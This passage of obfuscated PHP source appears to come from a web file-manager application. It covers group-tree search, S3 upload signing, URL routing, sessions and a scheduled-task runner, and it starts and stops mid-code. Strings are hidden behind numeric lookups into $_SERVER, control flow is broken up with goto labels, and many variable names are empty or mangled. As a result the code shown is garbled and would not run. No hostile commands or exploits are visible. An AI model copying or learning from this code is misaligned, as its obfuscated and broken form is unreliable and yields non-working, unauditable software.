$ޠ[$[445]]); } $[$[445]] = array_unique_by_key($[$[445]], $[1971]); $[$[442]] = array($[443] => count($[$[445]]), $[439] => 20, $[429] => 1, $[444] => 1); return $; } public function listSearchNow($njÑ) { $© =& $_SERVER[ׇ]; $ = trim($njÑ[$©[2069]]); $ = isset($njÑ[$©[2070]]) ? $njÑ[$©[2070]] : !1; if (!trim($)) { return !1; } $ = str_replace($©[2071], $©[2072], $); $Ժ = array($©[1971] => array($©[459], "{$}\x25"), $©[32] => array($©[459], "\x25{$}\x25"), $©[1078] => $©[2073]); if ($) { $Ɩ = $this->getInfoSimple($); $• = $Ɩ[$©[584]] . $ . $©[613]; $Ժ = array($Ժ, array($©[584] => array($©[459], $•))); } $Ժ = $this->parseWhereLike($Ժ); $ = $this->_makeOrder()->where($Ժ)->selectPage(20); $ = $ ? $ : array($©[445] => array(), $©[442] => array()); if (!$ || count($[$©[445]]) < 5 && Input::check($, $©[394])) { $dz = $this->groupChildrenAll($); $ԄLJ = $this->_searchFromMeta($©[537], $, 10, $dz); $瓵 = $this->_searchFromMeta($©[538], $, 10, $dz); $ = array_merge($ԄLJ, $瓵, $[$©[445]]); $[$©[445]] = array_unique_by_key($, $©[1971]); $[$©[442]][$©[443]] = count($[$©[445]]); $[$©[442]][$©[444]] = ceil($[$©[442]][$©[443]] / $[$©[442]][$©[439]]); } $this->_listDataApply($[$©[445]]); return $; } protected function groupChildrenAll($) { $ =& $_SERVER[ׇ]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $ = $; foreach ($ as $ȸ) { $ɧݬ = $this->getInfoSimple($ȸ); $ʋ = array($[584] => array($[459], $ɧݬ[$[584]] . $ȸ . $[613])); $Ƭ = $this->field($[1971])->where($ʋ)->select(); $ = array_merge($, array_to_keyvalue($Ƭ, $[12], $[1971])); } return array_unique($); } private function _searchFromMeta($, $׭, $⁠, $ն) { $ =& $_SERVER[ׇ]; $׭ = strtolower($׭); $ = array($[97] => $, $[450] => array($[459], "\x25{$׭}\45")); $ = $this->parseWhereLike($); if ($ն) { $[$[1971]] = array($[7], $ն); } $ = Model($[2074])->where($)->limit($⁠)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1971]); $Ҟ = $this->where(array($[2063] => array($[7], $)))->select(); if (!$Ҟ) { return array(); } return $Ҟ; } protected function _listDataApplyItem($) { $݈ = array($); $this->_listDataApply($݈); return $݈[0]; } protected function _listDataApply(&$ٖ) { $LJ =& $_SERVER[ׇ]; if (!$ٖ) { return; } $ = array_to_keyvalue($ٖ, $LJ[12], $LJ[1971]); $this->_listAppendChildren($ٖ); $this->_listAppendChildrenMember($ٖ); $this->_listAppendMeta($ٖ, $); $this->_listAppendParent($ٖ); $this->_listAppendSourceRoot($ٖ, $); } private function _listAppendChildren(&$ҝ) { $ =& $_SERVER[ׇ]; $ܫߛ = array_to_keyvalue($ҝ, $[12], $[1971]); $ݨ = array($[192] => array($[7], $ܫߛ)); $Ǐ = array($[192], $[2075] => $[565]); $ = $this->field($Ǐ)->where($ݨ)->group($[192])->select(); $͸ = array_to_keyvalue($, $[192], $[565]); foreach ($ҝ as &$ކ) { $ = $ކ[$[1971]]; $ކ[$[2076]] = isset($͸[$]) ? intval($͸[$]) : !1; } unset($ކ); } private function _listAppendChildrenMember(&$â) { $ט =& $_SERVER[ׇ]; $̧ = array_to_keyvalue($â, $ט[12], $ט[1971]); $ = array($ט[1971] => array($ט[7], $̧)); $š = array($ט[1971], $ט[2075] => $ט[565]); $չѾ = Model($ט[2065])->field($š)->where($)->group($ט[1971])->select(); $ = array_to_keyvalue($չѾ, $ט[1971], $ט[565]); foreach ($â as &$ŵ) { $˟ڥ = $ŵ[$ט[1971]]; $ŵ[$ט[2077]] = isset($[$˟ڥ]) ? intval($[$˟ڥ]) : !1; } unset($ŵ); } private function _listAppendMeta(&$, $ᕖ) { $ԓ =& $_SERVER[ׇ]; $ִ = array($ԓ[1971] => array($ԓ[7], $ᕖ)); $ = Model($ԓ[2064])->where($ִ)->select(); $ = array_to_keyvalue_group($, $ԓ[1971]); foreach ($ as &$) { $ = array_to_keyvalue($, $ԓ[97], $ԓ[450]); } unset($); foreach ($ as &$ծ) { $ծ[$ԓ[539]] = array(); if (isset($[$ծ[$ԓ[1971]]])) { $ծ[$ԓ[539]] = $[$ծ[$ԓ[1971]]]; } } unset($ծ); } protected function parentLevelArray($ע) { $ѕۀ =& $_SERVER[ׇ]; $ע = explode($ѕۀ[50], trim($ע, $ѕۀ[50])); $ע = array_remove_value($ע, $ѕۀ[228]); return $ע; } protected function parentInGroup($њ, $) { $ݰѢ =& $_SERVER[ׇ]; $ = $this->getInfoSimple($њ); if (!$) { return !0; } $ = $this->parentLevelArray($[$ݰѢ[584]]); $[] = $њ; foreach ($ as $њ) { if (in_array($њ . $ݰѢ[12], $)) { return !0; } } return !1; } private function _listAppendParent(&$麄) { $ =& $_SERVER[ׇ]; $ã = array(); foreach ($麄 as &$) { $ã[$[$[1971]]] = $[$[32]]; $Ӣś = $this->parentLevelArray($[$[584]]); foreach ($Ӣś as $) { if (!isset($ã[$])) { $ã[$] = 0; } } } unset($); foreach ($ã as $޴ => $ƾ) { if ($ƾ) { continue; } $ǽ敏 = $this->getInfoSimple($޴); $ã[$޴] = $ǽ敏[$[32]]; } $ͻ = $GLOBALS[$[6]][$[92]][$[2078]]; if (KodUser::isRoot()) { $ͻ = !1; } foreach ($麄 as &$) { $Ӣś = $this->parentLevelArray($[$[584]]); $Ε = $[12]; foreach ($Ӣś as $޴ => $) { if ($ͻ && $޴ == 0) { continue; } $Ε .= $ã[$] . $[8]; } if ($Ӣś) { $Ε .= $[$[32]]; } $[$[589]] = str_replace($[592], $[8], $Ε); } unset($); } private function _listAppendSourceRoot(&$؟ܩ, $﫼) { $ =& $_SERVER[ׇ]; $Կ = Model($[897])->listSourceRoot(SourceModel::TYPE_GROUP, $﫼); $Կ = array_to_keyvalue($Կ, $[569]); $Կ = array_remove_key($Կ, $[569]); foreach ($؟ܩ as &$) { $[$[90]] = $Կ[$[$[1971]]] ? $Կ[$[$[1971]]] : array(); } unset($); } protected function groupMerge($ތ) { $ތ = array_values(array_unique($ތ)); $ = array(); for ($ = 0; $ < count($ތ); $++) { $ = !1; for ($򟦼 = 0; $򟦼 < count($ތ); $򟦼++) { if ($ == $򟦼) { continue; } if ($this->isParentOf($ތ[$򟦼], $ތ[$])) { $ = !0; break; } } if (!$) { $[] = $ތ[$]; } } return $; } protected function isParentOf($, $) { $ =& $_SERVER[ׇ]; if (!$ || !$ || $ == $) { return !1; } $ = $this->getInfoSimple($); $ = $this->getInfoSimple($); $ת = $[$[584]] . $ . $[50]; if (substr($[$[584]], 0, strlen($ת)) == $ת) { return !0; } return !1; } public function groupShowRoot($ו۠, $ɵ = false) { $߽ =& $_SERVER[ׇ]; $孶 = $this->getInfo($ו۠); if (!$孶) { return array(); } $Ԓ = $this->parentLevelArray($孶[$߽[584]]); $Ɏ = array($ו۠); if (count($Ԓ) == 0) { return $Ɏ; } if ($ɵ && count($Ԓ) == 1) { return $Ɏ; } if (!$孶[$߽[539]] || !isset($孶[$߽[539]][$߽[2061]]) || $孶[$߽[539]][$߽[2061]] == $߽[849]) { return $this->groupShowRoot($Ԓ[count($Ԓ) - 1], $ɵ); } if ($孶[$߽[539]][$߽[2061]] == $߽[433]) { $ͦ = explode($߽[50], $孶[$߽[539]][$߽[2062]]); if ($ͦ) { $Ɏ = array_merge($Ɏ, $ͦ); } } return $Ɏ; } protected function resetParentLevel() { $݁ =& $_SERVER[ׇ]; $୆ = $݁[1971]; $ = $this->select(); $ = array_to_keyvalue($, $୆); foreach ($ as $) { $ʄ = $; $ = array(); while ($ʄ[$݁[192]] != 0) { $[] = $ʄ[$݁[192]]; $ʄ = $[$ʄ[$݁[192]]]; } $[] = 0; $ = $݁[50] . implode($݁[50], array_reverse($)) . $݁[50]; $this->setNamePinyin($[$୆], $[$݁[32]]); $this->where(array($୆ => $[$୆]))->save(array($݁[652] => $)); } return $; } public function groupNameAuto($ߥ, $߷) { $Ǧ =& $_SERVER[ׇ]; $䇰ݝ = $this->where(array($Ǧ[477] => $ߥ))->getField($Ǧ[32], !0); if (!$䇰ݝ || !in_array($߷, $䇰ݝ)) { return $߷; } for ($藤 = 1; $藤 <= count($䇰ݝ) + 1; $藤++) { $μ = $߷ . "\50{$藤}\x29"; if (!in_array($μ, $䇰ݝ)) { return $μ; } } } public function groupSwitch($, $) { $ʪȹ =& $_SERVER[ׇ]; $۔α = array($ʪȹ[1971] => array($ʪȹ[7], array($, $))); $ = $this->where($۔α)->select(); $ = array_to_keyvalue($, $ʪȹ[1971]); if (!isset($[$]) || !isset($[$]) || $[$][$ʪȹ[192]] == 0) { return !1; } $۔α = array($ʪȹ[1971] => $); $ӅǞʤ = Model($ʪȹ[2065])->where($۔α)->select(); if (!$ӅǞʤ) { $ӅǞʤ = array(); } foreach ($ӅǞʤ as $ڂ) { $ᥪ = $ڂ[$ʪȹ[1772]]; $۔α = array($ʪȹ[1772] => $ᥪ, $ʪȹ[1971] => $); $ɉ = Model($ʪȹ[2065])->where($۔α)->find(); if (!$ɉ) { $ = array($ => $ڂ[$ʪȹ[2079]]); Model($ʪȹ[598])->userGroupAdd($ᥪ, $); } Model($ʪȹ[598])->userGroupRemove($ᥪ, $); } $۔α = array($ʪȹ[190] => 2, $ʪȹ[192] => 0, $ʪȹ[485] => 1, $ʪȹ[569] => array($ʪȹ[7], array($, $))); $ = Model($ʪȹ[897])->where($۔α)->field($ʪȹ[2080])->select(); $ = array_to_keyvalue($, $ʪȹ[569], $ʪȹ[193]); $ඩ = !empty($[$]) ? $[$] : !1; if ($ඩ) { if (!$[$]) { $[$] = Model($ʪȹ[897])->groupRootAdd($); } $ = $[$]; $۔α = array($ʪȹ[192] => $ඩ); $ = Model($ʪȹ[897])->where($۔α)->field($ʪȹ[2081])->select(); if (!$) { $ = array(); } Model($ʪȹ[897])->moveClearAuth = !1; foreach ($ as $) { $ = $[$ʪȹ[485]] == $ʪȹ[91] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($ʪȹ[897])->move($[$ʪȹ[193]], $, $); } Model($ʪȹ[897])->moveClearAuth = !0; $۔α = array($ʪȹ[190] => 2, $ʪȹ[569] => $); $ߎ = array($ʪȹ[569] => $); Model($ʪȹ[2082])->where($۔α)->save($ߎ); Model($ʪȹ[2083])->where($۔α)->save($ߎ); } $this->_changeChildLevel($[$], $[$], !0); $this->where(array($ʪȹ[192] => $))->save(array($ʪȹ[192] => $)); $this->_clearChildrenCache($[$]); return !0; } } goto d; eܼ: class PathDriverS3 extends PathDriverBaseS3 { public function __construct($ԝ) { parent::__construct($ԝ); } public function uploadFormData($٘, $˙ = 3600) { $Ҟ =& $_SERVER[ׇ]; $ = $Ҟ[229]; $ׁ = $Ҟ[270]; $ƚ = $Ҟ[62]; $Ӆ = gmdate($Ҟ[271]); $㌾ = gmdate($Ҟ[272]); $՞鳇 = $Ҟ[273]; $ᨍ = $˙ . $Ҟ[12]; $㜃 = $Ҟ[274]; $օϠ = array($this->accessKey, $㌾, $this->region, $ƚ, $՞鳇); $ = implode($Ҟ[8], $օϠ); $ޞ = array($Ҟ[275] => gmdate($Ҟ[299], strtotime($Ҟ[277])), $Ҟ[278] => array(array($Ҟ[279] => $this->bucket), array($Ҟ[280] => $), array($Ҟ[281], $Ҟ[282], $Ҟ[12]), array($Ҟ[281], $Ҟ[283], $Ҟ[12]), array($Ҟ[281], $Ҟ[284], $Ҟ[12]), array($Ҟ[285] => $㜃), array($Ҟ[286] => $), array($Ҟ[287] => $ׁ), array($Ҟ[288] => $Ӆ), array($Ҟ[289] => $ᨍ))); $ = base64_encode(json_encode($ޞ)); $Ư = hash_hmac($Ҟ[290], $㌾, $Ҟ[291] . $this->secret, !0); $՗ = hash_hmac($Ҟ[290], $this->region, $Ư, !0); $Řˤ = hash_hmac($Ҟ[290], $ƚ, $՗, !0); $ = hash_hmac($Ҟ[290], $՞鳇, $Řˤ, !0); $ = hash_hmac($Ҟ[290], $, $); $Ә = array($Ҟ[246] => $Ҟ[12], $Ҟ[292] => $Ҟ[12], $Ҟ[280] => $, $Ҟ[285] => $㜃, $Ҟ[293] => $, $Ҟ[294] => $, $Ҟ[295] => $ׁ, $Ҟ[296] => $Ӆ, $Ҟ[297] => $ᨍ, $Ҟ[298] => $, $Ҟ[208] => $this->getHost()); return $Ә; } public function multiUploadFormData($, $֒ = 3600) { $ =& $_SERVER[ׇ]; $ԙ = gmdate($[300]); $Ö˪ = array(); $Ϋ = $this->client->getUploadId($this->bucket, $, $Ö˪); if (!$Ϋ) { return !1; } return array($[254] => $Ϋ, $[208] => $this->getHost() . $[8] . $this->pathEncode($), $[255] => $ԙ, $[97] => $); } public function multiUploadAuthData($Ǡգİ, $͊ = array()) { $ =& $_SERVER[ׇ]; $Ј摲 = isset($͊[$[169]]) ? $͊[$[169]] : $[12]; $ۖ = $͊[$[97]]; unset($͊[$[97]]); if (isset($͊[$[256]])) { return $this->listUploadParts($ۖ, $͊); } $ = array(); if (isset($͊[$[301]])) { $[$[302]] = $͊[$[301]]; } $ = explode($[210], $this->getHost()); $Ҽ = array($[303] => $[1], $[304] => $[12], $[246] => $[123], $[292] => $͊[$[79]]); $Ƒ = $[259]; $Т = $[8] . $this->pathEncode($ۖ) . $Ј摲; $ك̷ = $this->client->__getSignatureV4($, $Ҽ, $Ƒ, $Т); if (strpos($Ј摲, $[258]) === 0) { if (isset($[$[302]])) { $ı = $[$[302]]; } else { if (isset($ك̷[$[302]])) { $ı = $ك̷[$[302]]; } else { $ı = hash($[290], $[12]); } } return array($[265] => $ك̷[$[265]], $[302] => $ı, $[255] => $ك̷[$[305]]); } return $ك̷[$[265]]; } public function listUploadParts($, $ = array()) { $ =& $_SERVER[ׇ]; $‶ = str_replace($[266], $[12], $[$[169]]); $ = $this->client->listParts($this->bucket, $, $‶); if (!$) { return !1; } $ = $[306]; foreach ($ as $✬) { $ .= $[307] . "\74\x50\x61\x72\164\x4e\165\x6d\x62\145\x72\x3e{$✬[$[308]]}\x3c\x2f\x50\141\x72\x74\x4e\x75\155\142\x65\x72\76\12" . "\x3c\105\x54\x61\147\76{$✬[$[309]]}\x3c\57\105\x54\141\x67\x3e\xa" . $[310]; } $ .= $[311]; $ = array(); $ = explode($[210], $this->getHost()); $ݻ = array($[303] => $[1], $[246] => $[123], $[292] => strlen($)); $Ъ = $[257]; $ԉ = $[8] . $this->pathEncode($) . $[$[169]]; $诔 = $this->client->__getSignatureV4($, $ݻ, $Ъ, $ԉ, $); return array($[265] => $诔[$[265]], $[255] => $诔[$[305]], $[267] => $, $[302] => $诔[$[302]]); } public function link($ե, $ȝ = array()) { return parent::link($ե, $ȝ); } public function fileOut($ƪ, $ִ = false, $蘑 = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[ׇ][312])) { return parent::fileOutServer($ƪ, $ִ, $蘑, $); } parent::fileOut($ƪ, $ִ, $蘑, $); } public function fileOutImage($Ȇ, $ų = 250) { if (strstr($this->endpoint, $_SERVER[ׇ][312])) { return parent::fileOutImageServer($Ȇ, $ų); } parent::fileOutImage($Ȇ, $ų); } public function fileOutLink($ͧ) { $ó =& $_SERVER[ׇ]; if (substr($ͧ, 0, 7) == $ó[313]) { $ͧ = $ó[314] . substr($ͧ, 7); } header($ó[175] . $ͧ); die; } } define($_SERVER[ׇ][315], 1); define($_SERVER[ׇ][316], 2); goto C; BDZ: class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\72\x61\x6e\171" => "\133\x5e\x2f\135\53", "\x3a\x6e\165\x6d" => "\x5b\60\55\x39\135\53", "\x3a\x61\x6c\x6c" => "\x2e\52"); public static $errorCallback; public static function __callstatic($, $ㇰ) { $ =& $_SERVER[ׇ]; if ($ == $[1708]) { $ـ = array_map($[1709], $ㇰ[0]); $ױì = strpos($ㇰ[1], $[8]) === 0 ? $ㇰ[1] : $[8] . $ㇰ[1]; $í = $ㇰ[2]; } else { $ـ = null; $ױì = strpos($ㇰ[0], $[8]) === 0 ? $ㇰ[0] : $[8] . $ㇰ[0]; $í = $ㇰ[1]; } array_push(self::$maps, $ـ); array_push(self::$routes, $ױì); array_push(self::$methods, strtoupper($)); array_push(self::$callbacks, $í); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($ = true) { self::$halts = $; } public static function dispatch() { $ɭ =& $_SERVER[ׇ]; $ƀ = parse_url($_SERVER[$ɭ[1710]], PHP_URL_PATH); $ = $_SERVER[$ɭ[164]]; $ = array_keys(static::$patterns); $ު = array_values(static::$patterns); $צ = !1; self::$routes = preg_replace($ɭ[1361], $ɭ[8], self::$routes); if (in_array($ƀ, self::$routes)) { $ܛ = array_keys(self::$routes, $ƀ); foreach ($ܛ as $֮) { if (self::$methods[$֮] == $ || self::$methods[$֮] == $ɭ[1711] || in_array($, self::$maps[$֮])) { $צ = !0; if (!is_object(self::$callbacks[$֮])) { $ = explode($ɭ[8], self::$callbacks[$֮]); $谚͵ = end($); $Ŏ = explode($ɭ[1293], $谚͵); $؍ = new $Ŏ[0](); $؍->{$Ŏ[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$֮]); if (self::$halts) { return; } } } } } else { $ޑ = 0; foreach (self::$routes as $֮) { if (strpos($֮, $ɭ[4]) !== !1) { $֮ = str_replace($, $ު, $֮); } if (preg_match($ɭ[1712] . $֮ . $ɭ[1713], $ƀ, $ׅ)) { if (self::$methods[$ޑ] == $ || self::$methods[$ޑ] == $ɭ[1711] || !empty(self::$maps[$ޑ]) && in_array($, self::$maps[$ޑ])) { $צ = !0; array_shift($ׅ); if (!is_object(self::$callbacks[$ޑ])) { $ = explode($ɭ[8], self::$callbacks[$ޑ]); $谚͵ = end($); $Ŏ = explode($ɭ[1293], $谚͵); $؍ = new $Ŏ[0](); if (!method_exists($؍, $Ŏ[1])) { echo $ɭ[1714]; } else { call_user_func_array(array($؍, $Ŏ[1]), $ׅ); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$ޑ], $ׅ); if (self::$halts) { return; } } } } $ޑ++; } } if ($צ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $ =& $_SERVER[ׇ]; header($_SERVER[$[1715]] . $[1716]); echo $[1717]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$ɭ[1710]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $Î =& $_SERVER[ׇ]; static $ʑ = false; if ($ʑ) { return $ʑ; } $ = $GLOBALS[$Î[6]][$Î[425]]; self::$sessionTime = $[$Î[1718]]; $ٿ = isset($GLOBALS[$Î[1719]]) ? $GLOBALS[$Î[1719]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($ٿ)) { self::$sessionSign = Cookie::get($ٿ); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($ٿ, self::$sessionSign, self::$sessionTime); $۲ = $[$Î[1720]]; $ى = $[$۲]; $ = $[$Î[900]]; switch ($۲) { case $Î[21]: self::$handle = Model($Î[901]); break; case $Î[902]: self::$handle = new CacheRedis($ى, $); break; case $Î[903]: self::$handle = new CacheMemcached($ى, $); break; case $Î[230]: $ى[$Î[87]] = $ى[$Î[87]] . $Î[1721]; self::$handle = new CacheFile($ى, $); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ʑ = new self(); return $ʑ; } public static function getBySign($͆) { $ = self::$handle->get($͆); $ = unserialize($); return is_array($) ? $ : array(); } public static function setBySign($ఉ㯾, $û) { CacheLock::lock($ఉ㯾); self::$handle->set($ఉ㯾, serialize($û), self::$sessionTime); CacheLock::unlock($ఉ㯾); } public static function sign($ = false) { if ($) { self::$sessionSign = $; } self::init(); return self::$sessionSign; } public static function set($ݧ, $⑴ = false) { self::init(); if (is_array($ݧ)) { foreach ($ݧ as $— => $) { array_set_value(self::$data, $—, $); } } else { array_set_value(self::$data, $ݧ, $⑴); } self::setBySign(self::$sessionSign, self::$data); } public static function get($۟ = false) { self::init(); if (!$۟) { return self::$data; } return array_get_value(self::$data, $۟); } public static function remove($) { self::init(); unset(self::$data[$]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[ׇ][906])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ݣ =& $_SERVER[ׇ]; if (self::valueGet($ݣ[823]) != $ݣ[91]) { return; } if (self::valueGet($ݣ[1722]) == $ݣ[91]) { $ұ = self::valueGet($ݣ[1723]); if (time() - $ұ > self::AUTO_RESTART_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($ݣ[1722], $ݣ[91]); self::log($ݣ[1724] . ACTION . $ݣ[1725]); Hook::bind($ݣ[1726], $ݣ[1727]); $ = 0; while (!0) { self::cacheClear(); if (self::valueGet($ݣ[823]) != $ݣ[91]) { self::valueSet($ݣ[1722], $ݣ[228]); self::log($ݣ[1728]); die; } $ = time(); if ($ - $ >= 60) { self::valueSet(array($ݣ[1722] => $ݣ[91], $ݣ[1723] => $)); $ = $; } if (!file_exists(USER_SYSTEM . $ݣ[1729])) { self::valueSet(array($ݣ[1722] => $ݣ[228], $ݣ[823] => $ݣ[228])); self::log($ݣ[1730]); die; } $쳪˗ = file_get_contents(BASIC_PATH . $ݣ[1731]); $њ = KOD_VERSION . $ݣ[10] . KOD_VERSION_BUILD; $̇ = match_text($쳪˗, $ݣ[1732]) . $ݣ[10] . match_text($쳪˗, $ݣ[1733]); if ($̇ != $њ) { self::restart(); self::log("\x73\164\157\x70\145\144\56\133\166\145\162\163\x69\157\156\40\165\x70\x64\141\x74\145\73{$versionNow}\x20\75\76\x20{$version}\135"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $ =& $_SERVER[ׇ]; http_close(); $GLOBALS[$[1734]] = 1; $_SERVER[$[1735]] = $[1736]; $_COOKIE = array(); $GLOBALS[$[1737]] = 1; $GLOBALS[$[1738]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $ǘ =& $_SERVER[ׇ]; http_close(); self::valueSet($ǘ[823], $ǘ[228]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($ǘ[1722] => $ǘ[228], $ǘ[823] => $ǘ[91])); self::log($ǘ[1739]); } public static function taskSwitch() { $鱡 =& $_SERVER[ׇ]; $߿ = self::valueGet($鱡[823]) == $鱡[91] ? $鱡[228] : $鱡[91]; self::valueSet($鱡[823], $߿); } public static function shutdownEvent() { $ =& $_SERVER[ׇ]; self::valueSet($[1722], $[228]); self::log($[1740]); } public static function config($РЌ, $̇ÿ) { self::valueSet($_SERVER[ׇ][823], $РЌ); } private static function taskRunAll() { $˃ =& $_SERVER[ׇ]; $寮 = timeFloat(); $ = Model($˃[1741])->listData(); $Ն = count($); for ($ƾ = 0; $ƾ < $Ն; $ƾ++) { $ѽ = $[$ƾ]; if (!$ѽ[$˃[475]] || $ѽ[$˃[1742]] != $˃[91]) { continue; } if (!self::taskTimeCheck($ѽ)) { continue; } self::taskRun($ѽ); } Hook::trigger($˃[1743]); self::taskQueueRun($寮); } private static function taskQueueRun($Ɏ) { $ρ = 10; while (!0) { $Ũ = TaskQueue::run(); if ($Ũ === !1) { break; } if (timeFloat() - $Ɏ >= $ρ) { break; } } } private static function taskTimeCheck($ח) { $ =& $_SERVER[ׇ]; $ܵ˾ = json_decode($ח[$[206]], !0); $ = intval($ח[$[1723]]); $ = strtotime($[1744] . $ܵ˾[$[1745]] . $[1746]) - strtotime($[1747]); $ւʭ = time() - strtotime(date($[1748]) . $[1749]); $͈˛ = $ւʭ >= $ && $ւʭ <= $ + 3600; switch ($ܵ˾[$[33]]) { case $[1750]: if (time() - $ < 3600 * 24 * 30) { return !1; } if ($ܵ˾[$[1750]] == date($[1751]) && $͈˛) { return !0; } break; case $[1752]: if (time() - $ < 3600 * 24 * 7) { return !1; } $ = date($[1753]) == 0 ? 7 : date($[1753]); if ($ܵ˾[$[1752]] == $ && $͈˛) { return !0; } break; case $[1745]: if (time() - $ < 3600 * 24) { return !1; } if ($͈˛) { return !0; } break; case $[1754]: if (time() - $ >= floatval($ܵ˾[$[1754]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ =& $_SERVER[ׇ]; static $ = 0; $ = 300; if (!$) { $ = time(); } if (time() - $ < $) { return; } $ = time(); $ޥ = Model($[577])->db($[12]); if ($ޥ) { $ޥ->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($[1755], $[1756]); die; } } public static function taskRun($먆γ) { $ =& $_SERVER[ׇ]; self::log($[1757] . $먆γ[$[475]] . $[1758] . $먆γ[$[32]] . $[1759] . $먆γ[$[1760]]); Model($[1741])->run($먆γ[$[475]]); $ = timeFloat(); $ز = $[12]; switch ($먆γ[$[33]]) { case $[383]: $ʧ = url_request($먆γ[$[1760]], $[261], !1, !1, !1, !1, 10); if ($ʧ[$[823]]) { $ز = strlen($ʧ[$[1287]]); } break; case $[260]: $ز = Hook::apply($먆γ[$[1760]]); default: break; } Model($[1761])->add(array($[1762] => $[12], $[1763] => $[228], $[33] => $[1764] . $먆γ[$[475]], $[1765] => json_encode(array($[32] => $먆γ[$[32]], $[1766] => timeFloat() - $, $[369] => $ز)))); $µ = $ز ? $[1767] . $ز : $[12]; self::log($[1768] . $먆γ[$[475]] . $[178] . $µ); return !0; } public static function valueGet($߃) { $ô =& $_SERVER[ׇ]; $줱 = $ô[1769]; $ = Model($ô[508])->get($߃, $줱); if (is_null($)) { Model($ô[508])->set($ô[823], $ô[91], $줱); Model($ô[508])->set($ô[1722], $ô[228], $줱); $ = Model($ô[508])->get($߃, $줱); } return $; } private static function valueSet($ɨ, $ұ = false) { $ =& $_SERVER[ׇ]; $Ң = $[1770]; CacheLock::lock($Ң); $Л = Model($[508])->set($ɨ, $ұ, $[1769]); CacheLock::unlock($Ң); return $Л; } protected static function log($) { write_log($, $_SERVER[ׇ][1756]); } private static function cacheClear() { $ő =& $_SERVER[ׇ]; Cache::clearMemory(Model($ő[508])->cacheKey($ő[1769])); Cache::clearMemory(Model($ő[508])->cacheKey($ő[1771])); Model($ő[1741])->cacheClear(); self::closeDatabase(); } } goto CŇ; A: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $ꎿ =& $_SERVER[ׇ]; $this->objectDriver = array($ꎿ[60], $ꎿ[61], $ꎿ[62], $ꎿ[63], $ꎿ[64], $ꎿ[65], $ꎿ[66], $ꎿ[67], $ꎿ[68], $ꎿ[69], $ꎿ[70], $ꎿ[71]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($昲) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($昲, $_SERVER[ׇ][8]); } return $昲; } public function iconvApp($ߓ) { return $ߓ; } public function iconvSystem($չ۬) { return $չ۬; } public function iconvTo($ݝ, $͎, $Ӥ) { $̹ =& $_SERVER[ׇ]; if (!$ݝ || !function_exists($̹[72])) { return $ݝ; } static $Ɉ = array(); $Ӊ = $͎ . $̹[73] . $Ӥ . $̹[74] . $ݝ; if (isset($Ɉ[$Ӊ])) { return $Ɉ[$Ӊ]; } if (function_exists($̹[75])) { $Ѥ = @mb_convert_encoding($ݝ, $Ӥ, $͎); } else { $Ѥ = @iconv($͎, $Ӥ, $ݝ); } $Ѥ = $Ѥ ? $Ѥ : $ݝ; if (strstr($Ѥ, $̹[76])) { $Ѥ = str_replace($̹[76], $̹[11], $Ѥ); } $Ɉ[$͎ . $̹[73] . $Ӥ . $̹[74] . $ݝ] = $Ѥ; $Ɉ[$Ӥ . $̹[73] . $͎ . $̹[74] . $ݝ] = $ݝ; $Ɉ[$Ӥ . $̹[73] . $͎ . $̹[74] . $Ѥ] = $ݝ; $Ɉ[$͎ . $̹[73] . $Ӥ . $̹[74] . $Ѥ] = $Ѥ; return $Ѥ; } public function getPathInner($) { $ = IO::init($); return $->path; } public function getPathOuter($) { $ =& $_SERVER[ׇ]; $ = strlen(trim($this->pathBase, $[8])); $ = substr(trim($, $[8]), $); return $this->pathDriver . $[8] . ltrim($, $[8]); } public function isParentOf($㚖, $) { $煏Ñ =& $_SERVER[ׇ]; $㚖 = rtrim(strtolower($㚖), $煏Ñ[8]) . $煏Ñ[8]; $ = rtrim(strtolower($), $煏Ñ[8]) . $煏Ñ[8]; $͜ = strpos($, $㚖) === 0; return $͜; } public function getType() { $ИϾ =& $_SERVER[ׇ]; $ڑ = str_replace($ИϾ[77], $ИϾ[12], get_class($this)); return strtolower($ڑ); } public function isOsDriver() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($ԛ갯, $Կ) { $ =& $_SERVER[ׇ]; $ϊ = rtrim($ԛ갯, $[8]) . $[8] . $Կ; $ϭ = $this->exist($ϊ); return $ϭ ? $ϊ : !1; } public function setModifyTime($, $ = '') { } public function renameObject($, $ºշ) { $ǻ = $ºշ; $ = $this->getPathOuter($); $ºշ = $this->pathFather($) . $ºշ; $ = IO::copy($, $this->pathFather($), REPEAT_RENAME_FOLDER, $ǻ); if ($) { IO::remove($); } return $ ? $ºշ : !1; } public function 